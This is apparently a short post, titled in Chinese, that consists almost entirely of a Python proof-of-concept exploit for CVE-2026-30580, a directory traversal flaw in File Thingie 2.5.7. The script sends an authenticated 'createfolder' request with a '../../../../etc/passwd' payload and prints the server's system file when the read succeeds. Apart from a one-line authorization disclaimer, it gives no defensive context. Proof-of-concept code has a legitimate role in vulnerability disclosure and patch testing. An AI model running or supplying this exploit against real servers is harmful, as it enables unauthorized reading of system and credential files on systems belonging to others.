CVE-2026-30580 File Thingie目录遍历漏洞

import requests def exploit_cve_2026_30580(target_url, session_cookie): """ PoC for CVE-2026-30580 Directory Traversal in File Thingie 2.5.7 Exploits the 'create folder from url' functionality to read arbitrary files. """ # Example target endpoint (may vary based on installation) endpoint = f"{target_url}/filethingie.php" # The payload attempts to traverse to the /etc/passwd file using relative paths # Adjust the traversal depth ("../") based on the target's directory structure malicious_file_param = "../../../../etc/passwd" # Data payload mimicking the 'create folder from url' action payload = { "action": "createfolder", "file": malicious_file_param } # Headers including the session cookie (required as per PR:L) headers = { "Cookie": f"PHPSESSID={session_cookie}", "Content-Type": "application/x-www-form-urlencoded" } try: response = requests.post(endpoint, data=payload, headers=headers, timeout=10) if response.status_code == 200 and "root:" in response.text: print("[+] Exploit successful! Arbitrary file read detected.") print("[+] Response content:") print(response.text[:500]) # Print first 500 chars else: print("[-] Exploit failed or target not vulnerable.") print(f"Status Code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}") # Usage Example (Do not use without authorization) # exploit_cve_2026_30580("http://target-ip", "valid_session_id")